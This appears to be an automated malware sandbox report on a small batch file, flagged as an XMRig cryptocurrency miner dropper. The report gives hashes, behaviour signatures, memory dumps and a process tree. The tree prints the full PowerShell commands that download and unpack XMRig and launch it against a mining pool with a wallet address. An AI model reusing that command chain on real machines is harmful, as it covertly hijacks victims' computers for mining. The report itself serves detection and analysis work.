Analysis

  • max time kernel
    1812s
  • max time network
    1827s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    22/12/2023, 05:55

General

  • Target

    tesy - Copy (12).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (12).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1508
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4144
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1764
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2956

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    29a1c5d42eb8fd2ae792d0b4f883bca3

    SHA1

    2eb066f339690234c2d17f868c5ec2b3ec34d9ba

    SHA256

    deedc7361394f1b15199c751375b9890f025ccdfacc409845bb64ede92fdd973

    SHA512

    99a3ff639f74b90d780ffedf85c334a365f5959f1a2d3c3c939d697be0d29c608e04bb468e157b21e550ade3665b26319cc44384d28221ac4d6a9ef2636b9078

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3swbagj3.wty.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    4KB

    MD5

    430a8f97965d8a52057459fc7cab6243

    SHA1

    47bc1f591be73ec15747f629a42bd98bb531153e

    SHA256

    fb317feada21541fbb4b49700b7ed094b31de3f626c5a5c654a69a9598959c59

    SHA512

    09ad98d33353c5ec19e93530e8b4f2ae9b9bf68f90f7f7910f2b20588da8a3d1112a714d8a6ae4e5520d0531a5a515c15e346a988d7f0351defc33f65fa01267

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    4KB

    MD5

    8fcc4e2393e534b9bd3fa5f41fb8de08

    SHA1

    afd2316db0709f0cde5013a7da6003587ce7c1dc

    SHA256

    4db4010a6db7ff6d92b2e38861ee2fb525a36b6d68d422f537cc56e0fcee2c56

    SHA512

    8ffd8ae15efbef5e04ce848ce631324422de0c4a1c5335d5486c0f33cc302008682dfde8611dd6e486aeb7577f11906456a5389f9a80d641465ad3c846fdfa52

  • memory/1764-62-0x000002A1DEE00000-0x000002A1DEE10000-memory.dmp

    Filesize

    64KB

  • memory/1764-38-0x000002A1DEE00000-0x000002A1DEE10000-memory.dmp

    Filesize

    64KB

  • memory/1764-39-0x000002A1DEE00000-0x000002A1DEE10000-memory.dmp

    Filesize

    64KB

  • memory/1764-36-0x00007FFAB5B90000-0x00007FFAB657C000-memory.dmp

    Filesize

    9.9MB

  • memory/1764-113-0x00007FFAB5B90000-0x00007FFAB657C000-memory.dmp

    Filesize

    9.9MB

  • memory/1764-76-0x000002A1DED90000-0x000002A1DEDA2000-memory.dmp

    Filesize

    72KB

  • memory/1764-89-0x000002A1C67B0000-0x000002A1C67BA000-memory.dmp

    Filesize

    40KB

  • memory/2956-141-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-146-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-184-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-183-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-182-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-181-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-180-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-116-0x0000026F3FBD0000-0x0000026F3FBF0000-memory.dmp

    Filesize

    128KB

  • memory/2956-117-0x0000026F41730000-0x0000026F41770000-memory.dmp

    Filesize

    256KB

  • memory/2956-118-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-120-0x0000026F41770000-0x0000026F41790000-memory.dmp

    Filesize

    128KB

  • memory/2956-119-0x0000026F41790000-0x0000026F417B0000-memory.dmp

    Filesize

    128KB

  • memory/2956-121-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-122-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-125-0x0000026F41770000-0x0000026F41790000-memory.dmp

    Filesize

    128KB

  • memory/2956-124-0x0000026F41790000-0x0000026F417B0000-memory.dmp

    Filesize

    128KB

  • memory/2956-123-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-126-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-127-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-128-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-129-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-130-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-131-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-132-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-133-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-134-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-135-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-136-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-137-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-138-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-139-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-140-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-179-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-142-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-143-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-144-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-145-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-178-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-147-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-148-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-149-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-150-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-151-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-152-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-153-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-154-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-155-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-156-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-157-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-158-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-159-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-160-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-161-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-162-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-163-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-164-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-165-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-166-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-167-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-168-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-169-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-170-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-171-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-172-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-173-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-174-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-175-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-176-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2956-177-0x00007FF622BD0000-0x00007FF6236D3000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-30-0x00007FFAB5B90000-0x00007FFAB657C000-memory.dmp

    Filesize

    9.9MB

  • memory/4144-4-0x000001B83C280000-0x000001B83C2A2000-memory.dmp

    Filesize

    136KB

  • memory/4144-8-0x000001B83C550000-0x000001B83C5C6000-memory.dmp

    Filesize

    472KB

  • memory/4144-9-0x000001B83C2C0000-0x000001B83C2D0000-memory.dmp

    Filesize

    64KB

  • memory/4144-10-0x000001B83C2C0000-0x000001B83C2D0000-memory.dmp

    Filesize

    64KB

  • memory/4144-7-0x00007FFAB5B90000-0x00007FFAB657C000-memory.dmp

    Filesize

    9.9MB

  • memory/4144-25-0x000001B83C2C0000-0x000001B83C2D0000-memory.dmp

    Filesize

    64KB